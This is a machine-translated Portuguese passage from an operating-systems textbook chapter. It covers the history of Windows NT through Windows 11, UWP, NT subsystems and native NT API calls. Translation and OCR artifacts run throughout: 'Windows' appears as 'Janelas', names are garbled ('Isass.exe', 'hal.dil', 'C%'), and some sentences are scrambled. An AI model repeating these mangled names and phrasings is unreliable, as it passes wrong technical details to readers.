Programadores familiarizados apenas com UNIX consideram a arquitetura do NT bastante 
diferente. Isto não se deve apenas à influência do VMS, mas também à 
diferenças nos sistemas de computador que eram comuns na época do design. 
O UNIX foi projetado pela primeira vez na década de 1970 para processador único, 16 bits, memória minúscula, 
trocando sistemas onde o processo era a unidade de simultaneidade e composição, 
e fork/exec eram operações baratas (já que trocar sistemas frequentemente 
copiar processos para o disco de qualquer maneira). O NT foi projetado no início da década de 1990, quando 
sistemas de memória virtual multiprocessados, de 32 bits e multimegabytes eram comuns. No NT, 
threads são as unidades de simultaneidade, bibliotecas dinâmicas são as unidades de composição, 
e fork/exec são implementados por uma única operação para criar um novo processo e 
execute outro programa sem primeiro fazer uma cópia. 
A primeira versão do Windows baseado em NT (Windows NT 3.1) foi lançada em 
1993. Foi chamado de 3.1 para corresponder ao então atual consumidor Windows 3.1. 
O projeto conjunto com a IBM fracassou, portanto, embora as interfaces do OS/2 ainda estivessem 
suportadas, as interfaces primárias eram extensões de 32 bits das APIs do Windows, 
chamado Win32. Entre o momento em que o NT foi iniciado e lançado pela primeira vez, o Windows 3.0 
foi lançado e se tornou extremamente bem-sucedido comercialmente. Também foi 


capaz de executar programas Win32, mas usando a biblioteca de compatibilidade Win32s . 
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Assim como a primeira versão do Windows baseado em MS-DOS, o Windows baseado em NT foi 
não foi inicialmente bem sucedido. O NT exigia mais memória, havia poucos aplicativos de 32 bits disponíveis 
e incompatibilidades com drivers de dispositivos e aplicativos causavam 
muitos clientes optaram pelo Windows baseado em MS-DOS, que a Microsoft ainda 
melhorando, lançando o Windows 95 em 1995. O Windows 95 forneceu 32 bits nativos 
interfaces de programação como NT, mas melhor compatibilidade com software e aplicativos existentes de 
16 bits. Não é de surpreender que o sucesso inicial do NT tenha ocorrido no mercado de servidores, 
competindo com VMS e NetWare. 

O NT atingiu suas metas de portabilidade, com lançamentos adicionais em 1994 e 1995 
adicionando suporte para arquiteturas MIPS e PowerPC (little-endian). O primeiro grande 
a atualização para o NT veio com o Windows NT 4.0 em 1996. Este sistema tinha o poder, 
segurança e confiabilidade do NT, mas também ostentava a mesma interface de usuário do então muito 
popular Windows 95. 

A Figura 11-3 mostra o relacionamento da API Win32 com o Windows. Tendo uma 
A API comum entre o Windows baseado em MS-DOS e o Windows baseado em NT foi importante para o 


sucesso do NT. 
Programa aplicativo Win32 
Interface de programação de aplicativos Win32 


janelas 
95/98/98SE/Me 


janelas 
NT/2000/Vista/7 


janelas 
10/08/11 


Figura 11-3. A API Win32 permite que programas sejam executados em quase todas as versões do 
Janelas. 


Essa compatibilidade facilitou muito a migração dos usuários do Windows 95 
para o NT, e o sistema operacional se tornou um participante forte no mercado de desktops de última geração 
mercado, bem como servidores. No entanto, os clientes não estavam tão dispostos a adotar outras 
arquiteturas de processador e das quatro arquiteturas Windows NT 4.0 suportadas em 
1996, apenas o x86 (ou seja, a família Pentium) ainda era ativamente suportado na época de 
o próximo grande lançamento, o Windows 2000. 

O Windows 2000 representou uma evolução significativa para o NT. As principais tecnologias 
adicionadas foram plug-and-play (para consumidores que instalaram uma nova placa PCI, eliminando a 
necessidade de mexer em jumpers), serviços de diretório de rede (para empresas 
clientes), melhor gerenciamento de energia (para notebooks) e um 
GUI aprimorada (para todos). 

O sucesso técnico do Windows 2000 levou a Microsoft a avançar na direção da depreciação do 
Windows 98, melhorando a compatibilidade de aplicativos e dispositivos do Windows. 

a próxima versão do NT, Windows XP. O Windows XP incluiu uma nova aparência mais amigável 
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e sensação à interface gráfica, reforçando a estratégia da Microsoft de fisgar os consumidores e colher 
os benefícios à medida que pressionavam seus empregadores a adotar sistemas 

com os quais já estavam familiarizados. A estratégia foi esmagadoramente bem-sucedida, com o 
Windows XP sendo instalado em centenas de milhões de PCs em todo o seu território. 

primeiros anos, permitindo à Microsoft atingir seu objetivo de encerrar efetivamente a era 

do Windows baseado em MS-DOS. 

A Microsoft acompanhou o Windows XP embarcando em um lançamento ambicioso para 
despertar um entusiasmo renovado entre os consumidores de PC. O resultado, o Windows Vista, foi 
concluído no final de 2006, mais de cinco anos após o lançamento do Windows XP. janelas 
O Vista apresentou mais uma reformulação da interface gráfica e novos recursos do sistema operacional 
debaixo das cobertas. Houve muitas mudanças nas experiências visíveis do cliente e 
capacidades. As tecnologias subjacentes ao sistema melhoraram substancialmente, com muita limpeza 
do código e muitas melhorias no desempenho, 
escalabilidade e confiabilidade. A versão do servidor do Vista (Windows Server 2008) foi 
entregue cerca de um ano após a versão para consumidor. Ele compartilha, com o Vista, o mesmo 
componentes principais do sistema, como kernel, drivers e bibliotecas de baixo nível e 
programas. 

A história humana do desenvolvimento inicial do NT está relatada no livro Show stopper (Zachary, 
1994). O livro fala muito sobre as pessoas-chave envolvidas e o 
dificuldades de empreender um projeto de desenvolvimento de software tão ambicioso. 


11.1.4 Windows Vista 


O lançamento do Windows Vista culminou no mais extenso processo operacional da Microsoft. 
projeto do sistema até o momento. Os planos iniciais eram tão ambiciosos que alguns anos 
em seu desenvolvimento, o Vista teve que ser reiniciado com um escopo menor. Planos para confiar 
fortemente na linguagem .NET C%, com segurança de tipo e coleta de lixo da Microsoft, foram 
arquivados, assim como alguns recursos importantes, como o sistema de armazenamento unificado 
WinFS para pesquisar e organizar dados de muitas fontes diferentes. O tamanho do 
sistema operacional completo é impressionante. O lançamento original do NT de 3 milhões de linhas de 
C/C++ cresceu para 16 milhões em NT 4, 30 milhões em 2000 e 50 milhões em XP. 
No Windows Vista, a contagem de linhas cresceu para 70 milhões e continuou a 
crescer desde então. 

Grande parte do tamanho se deve à ênfase da Microsoft em adicionar muitos novos recursos 
aos seus produtos em cada lançamento. No diretório principal system32 , existem 1600 
DLLs (Dynamic Link Libraries) e 400 EXEs (Executables), e isso não 
incluem os outros diretórios contendo a miríade de miniaplicativos incluídos no 
sistema operacional que permite aos usuários navegar na Web, reproduzir música e vídeo, enviar 
enviar e-mail, digitalizar documentos, organizar fotos e até fazer filmes. Como a Micro soft deseja que 
os clientes mudem para novas versões, ela mantém a compatibilidade, mantendo geralmente todos os 
recursos, APIs, miniaplicativos (pequenos aplicativos), etc., do 
versão anterior. Poucas coisas são excluídas. O resultado é que o Windows foi 
crescendo dramaticamente de lançamento em lançamento. Mídia de distribuição do Windows 
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mudou do disquete para o CD e, com o Windows Vista, para o DVD. A tecnologia teve 
No entanto, a evolução foi acompanhada, e processadores mais rápidos e memórias maiores tornaram possível 
que os computadores ficassem mais rápidos apesar de todo esse inchaço. 

Infelizmente para a Microsoft, o Windows Vista foi lançado numa época em que os clientes 
estavam ficando encantados com computadores baratos, como computadores de baixo custo. 
notebooks e netbooks . Essas máquinas usavam processadores mais lentos para economizar 
custo e duração da bateria e, nas gerações anteriores, tamanhos de memória limitados. No 
Ao mesmo tempo, o desempenho do processador deixou de melhorar na mesma proporção de 
anteriormente devido às dificuldades em dissipar o calor criado pelo aumento constante do clock. 
velocidades. A lei de Moore continuou válida, mas os transistores adicionais estavam indo 
em novos recursos e múltiplos processadores, em vez de melhorias no desempenho de um único 
processador. O crescimento substancial do Windows Vista significou que ele teve um desempenho 
ruim nesses computadores em relação ao Windows XP, e o lançamento foi 
nunca amplamente aceito. 

Os problemas com o Windows Vista foram resolvidos na versão subsequente, 
Windows 7. A Microsoft investiu pesadamente em testes e automação de desempenho, 
nova tecnologia de telemetria e fortaleceu extensivamente as equipes encarregadas de 


melhorando o desempenho, a confiabilidade e a segurança. Embora o Windows 7 tivesse relativamente 
poucas mudanças funcionais em comparação com o Windows Vista, ele foi melhor projetado e 

mais eficiente. O Windows 7 rapidamente suplantou o Vista e, finalmente, o Windows XP para 

será a versão mais popular do Windows alguns anos após seu lançamento. 


11.1.5 Janelas 8 


Quando o Windows 7 finalmente foi lançado, a indústria da computação mais uma vez 
começou a mudar dramaticamente. O sucesso do Apple iPhone como dispositivo de computação 
portátil e o advento do Apple iPad anunciaram uma mudança radical que 
levou ao domínio de telefones e tablets Android de baixo custo, assim como a Microsoft 
dominou o desktop nas primeiras três décadas da computação pessoal. Pequeno, 
dispositivos portáteis, porém poderosos, e redes rápidas onipresentes estavam criando um mundo 
onde a computação móvel e os serviços baseados em rede estavam se tornando dominantes 
paradigma. O velho mundo dos desktops e notebooks foi substituído por 
máquinas com telas pequenas que executavam aplicativos prontamente disponíveis para download 
em lojas de aplicativos dedicadas . Essas aplicações não eram da variedade tradicional, como palavras 
processamento, planilhas e conexão com servidores corporativos. Em vez disso, forneciam acesso a 
serviços como pesquisa na Web, redes sociais, jogos, Wikipédia, 
streaming de música e vídeo, compras e navegação pessoal. Os modelos de negócios da computação 
também estavam mudando, com a coleta de dados dos usuários e a publicidade. 
oportunidades tornando-se a maior força econômica por trás da computação. 

A Microsoft iniciou um processo para se redesenhar como uma empresa de dispositivos e serviços 
para melhor competir com Google e Apple. Precisava de um sistema operacional 
poderia ser implantado em uma ampla gama de dispositivos: telefones, tablets, consoles de jogos, 
laptops, desktops, servidores e nuvem. O Windows passou assim por um processo ainda maior 
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evolução do que com o Windows Vista, resultando no Windows 8. No entanto, desta vez 
A Microsoft aplicou as lições do Windows 7 para criar um produto bem projetado, com desempenho e 
menos inchaço. 

Windows 8 baseado na composição modular do sistema operacional OneCore 
abordagem para produzir um pequeno núcleo de sistema operacional que pudesse ser estendido a 
diferentes dispositivos. O objetivo era que cada um dos sistemas operacionais para dispositivos específicos 
a ser construído estendendo esse núcleo com novas interfaces de usuário e recursos, mas fornecendo 
uma experiência tão comum quanto possível para os usuários. Esta abordagem foi bem-sucedida 
aplicado ao Windows Phone 8, que compartilha a maioria dos binários principais com desktop 
e servidor Windows. Suporte de telefones e tablets pelo Windows exigiu suporte 
para a popular arquitetura ARM (arm32), bem como novos processadores Intel direcionados a esses 
dispositivos. O que torna o Windows 8 parte da era do Windows moderno são os 
mudanças fundamentais nos modelos de programação, como examinaremos no próximo 
seção. 

O Windows 8 não foi recebido com aclamação universal. Em especial, a falta de 
O botão Iniciar na barra de tarefas (e seu menu associado) foi visto por muitos usuários como 
um grande erro. Outros se opuseram ao uso de uma interface de toque semelhante a um tablet em um 
máquina desktop com um monitor grande e um mouse. Nos dois anos seguintes, 
A Microsoft respondeu a esta e outras críticas lançando uma atualização em 2013 
chamado Windows 8.1 , que foi atualizado novamente na primavera de 2014. Este 
versão fez progressos significativos na correção desses problemas e, ao mesmo tempo, 
vez que introduzimos uma série de novos recursos, como melhor integração na nuvem, melhor 
funcionalidade para aplicativos fornecidos com o Windows e inúmeras melhorias de desempenho que 
realmente reduziram os requisitos mínimos de sistema para Windows pela primeira vez. 


11.1.6 Windows 10 


O Windows 10 foi o culminar da visão de sistema operacional para vários dispositivos da Microsoft, que 


começou com o Windows 8. Ele forneceu um sistema operacional único e unificado e uma plataforma 
de desenvolvimento de aplicativos para computadores desktop/laptop, tablets, smartphones, dispositivos 
multifuncionais, Xbox, Hololens e o dispositivo de colaboração Surface Hub. Aplicativos 

escrito para a nova UWP (Plataforma Universal do Windows) pode ter como alvo vários 

famílias de dispositivos com o mesmo código subjacente e ser distribuído pela Windows Store. Até 
então, o interesse dos desenvolvedores na moderna plataforma de aplicativos do Windows 8 era baixo 

e a Microsoft queria mudar a mentalidade dos desenvolvedores do 

plataformas concorrentes iOS e Android para Windows. 

Internamente, as equipes que trabalham no Windows e no Windows Phone foram fundidas em 
uma única organização e produziu um sistema operacional convergente que unificou o aplicativo 
plataforma de desenvolvimento sob UWP. O Windows Mobile 10 foi a edição móvel do 
Windows 10 voltado para smartphones e tablets, construído a partir de uma única base de código. 

A composição do sistema operacional baseado em OneCore permitiu que cada edição do Windows compartilhasse um 
núcleo, mas forneceu sua própria interface de usuário e recursos exclusivos. 
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No final das contas, o Windows 10 foi o lançamento do Windows de maior sucesso de todos os tempos, com 
mais de 1,3 bilhão de dispositivos rodando-o, no outono de 2021. Ironicamente, esse sucesso não pode ser 
atribuído ao entusiasmo do desenvolvedor em relação ao UWP ou à popularidade do Windows 10 
Móvel porque nada disso realmente aconteceu. O Windows 10 Mobile foi descontinuado em 
2017 e, embora a UWP esteja viva e bem, não é nem de longe a plataforma mais popular 
para desenvolver aplicativos Windows. 

O Windows 10 forneceu uma interface de usuário familiar e inúmeras melhorias de usabilidade que 
funcionaram bem em computadores desktop/laptop, bem como em tablets e 
dispositivos "conversíveis". Um programa beta público chamado Windows Insider Program foi iniciado 
no início do ciclo de desenvolvimento do Windows 10 para compartilhar regularmente compilações de pré- 
visualização do sistema operacional com o “Windows Insiders”. 
muito bem sucedido com centenas de milhares de entusiastas testando e avaliando 
construções semanais. Este acordo permitiu aos desenvolvedores do Windows acesso ao usuário final 
feedback e telemetria que ajudaram a melhorar o produto a cada 6 meses 
liberar. 

O Windows 10 aproveitou a tecnologia de máquina virtual para melhorar significativamente 
segurança. A autenticação biométrica e multifatorial simplificou o login do usuário 
experiência e tornou-a mais segura. A segurança baseada em virtualização ajudou a proteger 
informações confidenciais até mesmo contra ataques no modo kernel, ao mesmo tempo em que fornecia 
um ambiente de tempo de execução isolado para determinados aplicativos. Aproveitando o hardware mais recente 
recursos de fabricantes de chips (incluindo suporte para a arquitetura ARM de 64 bits completa com 
emulação transparente de aplicativos x86), Windows 10 
desempenho aprimorado e vida útil da bateria com novos dispositivos, mantendo constantes os requisitos 
mínimos de hardware e permitindo que os usuários do Windows 7 atualizassem conforme 


o suporte oficial para o sistema operacional terminou. 


11.1.7 Janelas 11 


O Windows 11 é a versão mais recente do Windows, disponibilizada publicamente 
em 5 de outubro de 2021. Ele traz inúmeras melhorias de usabilidade, como um novo e 
UI rejuvenescida, gerenciamento de janelas mais eficiente e recursos multitarefa 
especialmente em configurações de monitores maiores e com vários monitores. Seguindo o controle remoto 
e tendência híbrida de trabalho/aprendizagem, fornece integração mais profunda com o software de 
colaboração Teams, bem como com o pacote de produtividade em nuvem Microsoft 365. 

Embora as atualizações da interface do usuário sejam os recursos mais comentados de qualquer novo 
SO, e mais relevante para o usuário típico, o Windows mais recente tem muitos 
avança sob o capô. Acompanhando o desenvolvimento de hardware, o Windows 11 
adiciona várias otimizações de desempenho, potência e escalabilidade para aproveitar melhor 
vantagem do maior número de núcleos de processador, com suporte para até 2.048 núcleos lógicos 
processadores e mais de 64 processadores por soquete. Talvez mais importante, 
O Windows 11 inova na compatibilidade de aplicativos: emulação de x64 
aplicativos agora são suportados em dispositivos ARM de 64 bits e é até possível executar 
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Aplicativos Android. O avanço mais significativo que o Windows 11 traz, entretanto, é a linha de base de 
segurança muito mais alta. Embora muitos de seus recursos de segurança estivessem presentes em 
versões anteriores, o Windows 11 define seus requisitos mínimos de hardware para que todas essas 
proteções de segurança (como inicialização segura, Device Guard, Application Guard e Control Flow 
Guard no modo kernel) possam ser usado. Todos eles estão habilitados por padrão. A linha de base de 
segurança mais alta, junto com novos recursos de segurança, como a proteção de pilha de hardware no 
modo kernel, tornam o Windows 11 a versão mais segura do Windows de todos os tempos. 


No restante deste capítulo, descreveremos como o Windows 11 funciona, como está estruturado e o 
que esses recursos de segurança fazem. Embora usaremos o nome genérico “Windows”, todas as seções 
subsequentes deste capítulo referem-se ao Windows 11. 


11.2 JANELAS DE PROGRAMAÇÃO 


Agora é hora de iniciar nosso estudo técnico do Windows. Antes de entrar nos detalhes da estrutura 
interna, entretanto, daremos uma olhada na API nativa do NT para chamadas de sistema, no subsistema 
de programação Win32 introduzido como parte do Windows baseado em NT e no ambiente de programação 
WinRT introduzido pela primeira vez no Windows 8. 


A Figura 11-4 mostra as camadas do sistema operacional Windows. Abaixo das camadas GUI do 
Windows estão as interfaces de programação nas quais os aplicativos são construídos. 
Como na maioria dos sistemas operacionais, estes consistem em grande parte em bibliotecas de código 
(DLLs) às quais os programas se vinculam dinamicamente para acesso aos recursos do sistema 
operacional. Algumas dessas bibliotecas são bibliotecas clientes que usam RPCs (Chamadas de 
Procedimento Remoto) para se comunicar com serviços do sistema operacional executados em processos separados. 

O núcleo do sistema operacional NT é o programa de modo kernel NTOS (ntoskrnl.exe), que fornece 
as interfaces tradicionais de chamada de sistema sobre as quais o resto do sistema operacional é 
construído. No Windows, apenas os programadores da Microsoft escrevem na camada nativa de chamada 
do sistema. Todas as interfaces de modo de usuário publicadas são destinadas a personalidades de 
sistemas operacionais que são implementadas usando subsistemas executados sobre as camadas NTOS. 


Originalmente, o NT suportava três personalidades: 0S/2, POSIX e Win32. OS/2 foi descartado no 
Windows XP. O suporte para POSIX foi finalmente removido no Windows 8.1. Hoje, todos os aplicativos 
Windows são escritos usando APIs construídas sobre o subsistema Win32, como a API WinRT usada para 
construir aplicativos da Plataforma Universal do Windows ou a API CoreFX de plataforma cruzada na 
estrutura de software .NET (Core). Além disso, por meio do projeto win32metadata GitHub, a Microsoft 
publica uma descrição de toda a superfície da API Win32 em um formato padrão (chamado ECMA-335), 
de modo que projeções de linguagem possam ser construídas para permitir que a API seja chamada a 
partir de linguagens arbitrárias como C e Rust. Isso permite que aplicativos escritos em linguagens 
diferentes de C/C++ funcionem no Windows. 
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Aplicativos modernos do Windows Serviços do Windows Aplicativos da área de trabalho do Windows 


Processos modernos de corretagem Gerente de área de trabalho (explorador) 
Serviços NT: smss, Isass, serviços, (NET: classes básicas, GC] 


WinRT: .NET/C++, WWA/JS 


winlogon ... GUI (shell32, user32, gdi32) 
Processo do subsistema Win32 Bibliotecas dinâmicas (ole, rpc) 


(csrss.exe) API do subsistema (kernel32) 


AppContainer 
Gerente de vida útil do processo 


API NT nativa, tempo de execução C/C++ (ntdll.dil) 
Modo de usuário 


Modo kernel 


Camada do kernel NTOS (ntoskrnl.exe) 


Drivers: dispositivos, sistemas Camada executiva NTOS Driver GUI 


de arquivos, rede (ntoskrnl.exe) (Win32k.sys) 


Camada de abstração de hardware (hal.dil) 


Hipervisor (hvix, hvax) 


Figura 11-4. As camadas de programação no Windows moderno. 


11.2.1 Plataforma Universal do Windows 


A Plataforma Universal do Windows, introduzida com o Windows 10 com base no 
plataforma de aplicativos moderna no Windows 8, representou a primeira mudança significativa 
ao modelo de aplicação para programas Windows desde Win32. A API WinRT como 
bem como um subconjunto significativo da superfície da API Win32 está disponível para aplicativos UWP, 
permitindo que eles atinjam várias famílias de dispositivos com o mesmo 
código enquanto aproveita os recursos exclusivos do dispositivo por meio de extensões específicas da 
família de dispositivos. UWP é a única plataforma compatível para aplicativos de jogos Xbox 
console, o dispositivo de realidade mista HoloLens e o dispositivo de colaboração Surface Hub. 


As APIs WinRT são cuidadosamente selecionadas para evitar várias “arestas nítidas” da API Win 32 
para fornecer segurança mais consistente, privacidade do usuário e propriedades de isolamento de 
aplicativos. Eles têm projeções em diversas linguagens como C++, C& e até 
JavaScript permitindo flexibilidade ao desenvolvedor. Nas primeiras versões do Windows 10, o subconjunto 
da API Win32 disponível para aplicativos UWP era muito limitada. Por exemplo, vários 
APIs de threading ou de memória virtual estavam fora dos limites. Isso criou atrito para 
desenvolvedores e tornou mais difícil portar bibliotecas de software e estruturas para 
suporta UWP. Com o tempo, mais e mais APIs Win32 foram disponibilizadas para 
Aplicativos UWP. 

Além das diferenças de API, o modelo de aplicativo para aplicativos UWP é diferente dos programas 
Win32 tradicionais em vários aspectos. 
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Primeiro, diferentemente dos processos Win32 tradicionais, os processos que executam aplicativos 
UWP têm sua vida útil gerenciada pelo sistema operacional. Quando um usuário muda 
longe de um aplicativo, o sistema aguarda alguns segundos para salvar seu estado 
e então deixa de fornecer mais recursos de processador até que o usuário volte 
para o aplicativo. Se o sistema ficar com poucos recursos, o sistema operacional pode 
encerrar os processos do aplicativo sem que ele seja executado novamente. 
Quando o usuário voltar para o aplicativo em algum momento no futuro, será 
reiniciado pelo sistema operacional. Os aplicativos que precisam executar tarefas em segundo plano devem 
providenciar isso especificamente usando um novo conjunto de APIs do WinRT. A atividade em segundo 
plano é cuidadosamente gerenciada pelo sistema para melhorar a vida útil da bateria e evitar interferência 
com o aplicativo em primeiro plano que o usuário está usando no momento. Esses 
foram feitas alterações para fazer o Windows funcionar melhor em dispositivos móveis, onde 
os usuários frequentemente alternam entre aplicativos e vice-versa com rapidez e frequência. 

Em segundo lugar, no mundo desktop Win32, os aplicativos são implantados executando um 
instalador que faz parte do aplicativo. Este esquema deixa a limpeza nas mãos de 
o aplicativo e frequentemente resulta em arquivos ou configurações restantes quando o aplicativo é 
desinstalado, levando ao "winrot". Os aplicativos UWP vêm em um MSIX 
pacote que é basicamente um arquivo zip contendo binários de aplicativos junto com um 
manifesto que declara os componentes da aplicação e como eles devem se integrar ao sistema. Dessa 
forma, o sistema operacional pode instalar e desinstalar o 
aplicação de forma limpa e confiável. Normalmente, os aplicativos UWP são distribuídos e 
implantado por meio da Microsoft Store, semelhante ao modelo em dispositivos iOS e Android. 


Finalmente, quando um aplicativo moderno está em execução, ele sempre é executado em uma sandbox 
chamado de AppContainer. A execução do processo de sandbox é uma técnica de segurança 
para isolar código menos confiável para que ele não possa interferir livremente no sistema ou 
dados do usuário. O Windows AppContainer trata cada aplicativo como um usuário distinto, 
e usa recursos de segurança do Windows para impedir que o aplicativo acesse recursos arbitrários do 
sistema. Quando um aplicativo precisa de acesso a um recurso do sistema, 
existem APIs WinRT que se comunicam com processos de corretagem que possuem 
acesso a mais partes do sistema, como os arquivos de um usuário. 

Apesar de suas muitas vantagens, a UWP não ganhou força generalizada com 
desenvolvedores. Isso ocorre principalmente porque o custo de migrar aplicativos existentes para UWP 
superou os benefícios de obter acesso à API WinRT e poder executar 
em várias famílias de dispositivos Windows. Acesso restrito à API Win32 e ao 
a reestruturação necessária para trabalhar com o modelo de aplicativo UWP significou que os aplicativos 
essencialmente precisava ser reescrito. 

Para remediar essas desvantagens e “preencher a lacuna” entre o aplicativo de desktop Win32 
desenvolvimento e UWP, a Microsoft está no caminho de unificar esses modelos de aplicativos 
com o Windows App SDK (Software Dev elopment Kit) anteriormente chamado 
Reunião do Projeto. Windows App SDK é um conjunto de bibliotecas de código aberto no GitHub, 
fornecendo uma superfície de API moderna e uniforme disponível para todos os aplicativos do Windows. Isto 
permite que os desenvolvedores adicionem novas funcionalidades anteriormente expostas apenas ao UWP, 
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sem ter que reescrever seus aplicativos do zero. O SDK do aplicativo Windows contém os seguintes 
componentes principais: 


1. WinUI, uma estrutura de UI moderna baseada em XAML. 
2. Projeções de linguagem C++, Rust, C# para expor a API WinRT a todos os aplicativos. 


3. MSIX SDK, que permite que qualquer aplicativo seja empacotado e implantado via 
MSIX. 


Abordamos brevemente algumas das estruturas de programação que os desenvolvedores 
podem usar para desenvolver aplicativos para Windows. Embora esses aplicativos construídos em 
estruturas diferentes dependam de bibliotecas diferentes em níveis mais elevados, eles dependem, 
em última análise, do subsistema Win32 e da API nativa do NT. Estudaremos isso em breve. 


11.2.2 Subsistemas Windows 


Como mostrado na Figura 11-5, os subsistemas do NT são construídos a partir de quatro 
componentes: um processo do subsistema, um conjunto de bibliotecas, ganchos no CreateProcess 
e suporte no kernel. Um processo de subsistema é, na verdade, apenas um serviço. A única 
propriedade especial é que ele é iniciado pelo programa smss.exe (gerenciador de sessão) — o 
programa inicial em modo de usuário iniciado pelo NT — em resposta a uma solicitação de 
CreateProcess no Win32 ou a API correspondente em um subsistema diferente. Embora o Win32 
seja o único subsistema restante com suporte, o Windows ainda mantém o modelo do subsistema, 
incluindo o processo do subsistema Win32 csrss.exe . 


Processo do programa 


| 


Bibliotecas de 
subsistemas 


V 


Biblioteca de tempo de execução do subsistema 


(Gancho CreateProcess) Processo do subsistema 


API NT nativa, tempo de execução C/C++ 


Modo de usuário 


Modo kernel 


Suporte ao 
Chamada de kernel do subsistema 
Serviços do procedimento local (LPC) 
sistema NT nativo Executivo NTOS 


Figura 11-5. Os componentes usados para construir subsistemas NT. 


O conjunto de bibliotecas implementa funções de sistema operacional de nível superior 
específicas para o subsistema e também contém as rotinas stub que comunicam 
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entre processos que usam o subsistema (mostrado à esquerda) e o subsistema 
processo em si (mostrado à direita). As cnamadas para o processo do subsistema normalmente levam 
são realizadas usando os recursos LPC (Chamada de Procedimento Local) no modo kernel, que implementam 
chamadas de procedimento entre processos. 
O gancho no Win32 CreateProcess detecta qual subsistema cada programa 
requer olhando para a imagem binária. Em seguida, ele solicita ao smss.exe que inicie o processo do subsistema 
(se ainda não estiver em execução). O processo do subsistema então assume 
responsabilidade pelo carregamento do programa. 
O kernel do NT foi projetado para ter vários recursos de uso geral que podem 
ser usado para escrever subsistemas específicos do sistema operacional. Mas também há especial 
código que deve ser adicionado para implementar corretamente cada subsistema. Como exemplos, o 
chamada de sistema nativa NtCreateProcess implementa duplicação de processo em suporte a 
Chamada de sistema fork POSIX e o kernel implementa um tipo específico de tabela de strings 
para Win32 (chamados átomos), que permite que strings somente leitura sejam compartilhadas com eficiência 
em processos cruzados. 
Os processos do subsistema são programas nativos do NT que usam o sistema nativo 
chamadas fornecidas pelo kernel do NT e serviços principais, como smss.exe e Isass.exe 
(administração de segurança local). As cnamadas de sistema nativas incluem recursos entre processos para 
gerenciar endereços virtuais, threads, identificadores e exceções nos processos. 


criado para executar programas escritos para usar um subsistema específico. 
11.2.3 A interface de programação de aplicativos nativa do NT 


Como todos os outros sistemas operacionais, o Windows possui um conjunto de chamadas de sistema que 
pode realizar. No Windows, eles são implementados na camada executiva do NTOS que roda em 
modo kernel. A Microsoft publicou poucos detalhes desses sistemas nativos 
chamadas. Eles são usados internamente por programas de nível inferior fornecidos como parte do 
sistema operacional (principalmente serviços e subsistemas), bem como drivers de dispositivo em modo kernel. 
As chamadas do sistema nativo do NT não mudam muito de 
lançamento em lançamento, mas a Microsoft optou por não torná-los públicos para que os aplicativos 
escrito para Windows seria baseado em Win32 e, portanto, teria maior probabilidade de funcionar com 
tanto os sistemas Windows baseados em MS-DOS quanto os baseados em NT, uma vez que a API Win32 é 
comum a ambos. 

A maioria das chamadas de sistema nativas do NT operam em objetos de modo kernel de um tipo 
ou outro, incluindo arquivos, processos, threads, pipes, semáforos e assim por diante. A Figura 11-6 fornece uma 
lista de algumas categorias comuns de objetos de modo kernel suportados pelo kernel no Windows. Mais tarde, 
quando discutirmos o gerenciador de objetos, 
fornecerá mais detalhes sobre os tipos de objetos específicos. 

Às vezes, o uso do termo objeto em relação às estruturas de dados manipuladas por 
o sistema operacional pode ser confuso porque é confundido com orientado a objetos. 
Os objetos do sistema operacional Windows fornecem ocultação e abstração de dados, mas eles 
carecem de algumas das propriedades mais básicas dos sistemas orientados a objetos, como herança e 
polimorfismo, portanto o Windows não é orientado a objetos no sentido técnico. 


Machine Translated by Google 


SEC. 11.2 JANELAS DE PROGRAMAÇÃO 885 


Categoria de objeto Exemplos 


Sincronização Semáforos, mutexes, eventos, portas IPC, filas de conclusão de E/S 


E/S Arquivos, dispositivos, drivers, temporizadores 
Programa Jobs, processos, threads, seções, tokens 
GUI Win32 Desktops, retornos de chamada de aplicativos 


Figura 11-6. Categorias comuns de tipos de objetos no modo kernel. 


Na API nativa do NT, estão disponíveis chamadas para criar novos objetos no modo kernel 
ou acessar os existentes. Cada chamada que cria ou abre um objeto retorna um identificador 
para o chamador. Um identificador no Windows é um tanto análogo a um descritor de arquivo 
no UNIX, exceto que pode ser usado para mais tipos de objetos do que apenas arquivos. O 
identificador pode posteriormente ser usado para executar operações no objeto. Os 
identificadores são específicos do processo que os criou. Em geral, os identificadores não 
podem ser passados diretamente para outro processo e usados para fazer referência ao mesmo 
objeto. Entretanto, sob certas circunstâncias, é possível duplicar um identificador na tabela de 
identificadores de outros processos de forma protegida, permitindo que os processos 
compartilhem o acesso aos objetos — mesmo que os objetos não estejam acessíveis no 
namespace. O processo que duplica cada identificador deve ter identificadores para o processo de origem e de 

Cada objeto possui um descritor de segurança associado a ele, informando 
detalhadamente quem pode ou não realizar quais tipos de operações no objeto com base no 
acesso solicitado. Quando os identificadores são duplicados entre processos, podem ser 
adicionadas novas restrições de acesso específicas ao identificador duplicado. Assim, um 
processo pode duplicar um identificador de leitura e gravação e transformá-lo em uma versão 
somente leitura no processo de destino. 

A Figura 11-7 mostra uma amostra das APIs nativas, todas as quais usam identificadores 
explícitos para manipular objetos no modo kernel, como processos, threads, portas IPC e 
seções (que são usadas para descrever objetos de memória que podem ser mapeados em 
espaços de endereço ). NtCreateProcess retorna um identificador para um objeto de processo 
recém-criado, representando uma instância em execução do programa representado pelo 
SectionHandle. DebugPor tHandle é usado para se comunicar com um depurador ao conceder 
a ele o controle do processo após uma exceção (por exemplo, dividir por zero ou acessar 
memória inválida). ExceptPor tHandle é usado para se comunicar com um processo do 
subsistema quando ocorrem erros e não são tratados por um depurador anexado. 

NtCreateThread usa ProcHandle porque pode criar um thread em qualquer processo para o 
qual o processo de chamada tenha um identificador (com direitos de acesso suficientes). Na 
mesma linha, NtAllocateVir tualMemory, NtMapViewOfSection, NtReadVir tualMemory e NtWr 
iteVirtualMemor y permitem que um processo não apenas opere em seu próprio espaço de 
endereço, mas também aloque endereços virtuais, mapeie seções e leia ou grave memória 
virtual em outros processos. . NtCreateFile é a chamada de API nativa para criar um novo arquivo 
ou abrir um existente. NtDuplicateObject é a chamada de API para duplicar identificadores de um 
processo para outro. 
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NtCreateProcess(&ProcHandle, Access, SectionHandle, DebugPor tHandle, ExceptPor tHandle, ...) 


NtCreateThread(&ThreadHandle, ProcHandle, Access, ThreadContext, CreateSuspended, ...) 


NtAllocateVirtualMemory(ProcHandle, Addr, Tamanho, Tipo, Proteção, ...) 


NtMapViewOfSection(SectHandle, ProcHandle, Addr, Tamanho, Proteção, ...) 


NtReadVirtualMemory(ProcHandle, Addr, Size, ...) 


NtWr iteVirtualMemor y(ProcHandle, Addr, Size, ...) 


NtCreateFile(&FileHandle, FileNameDescr iptor, Access, ...) 


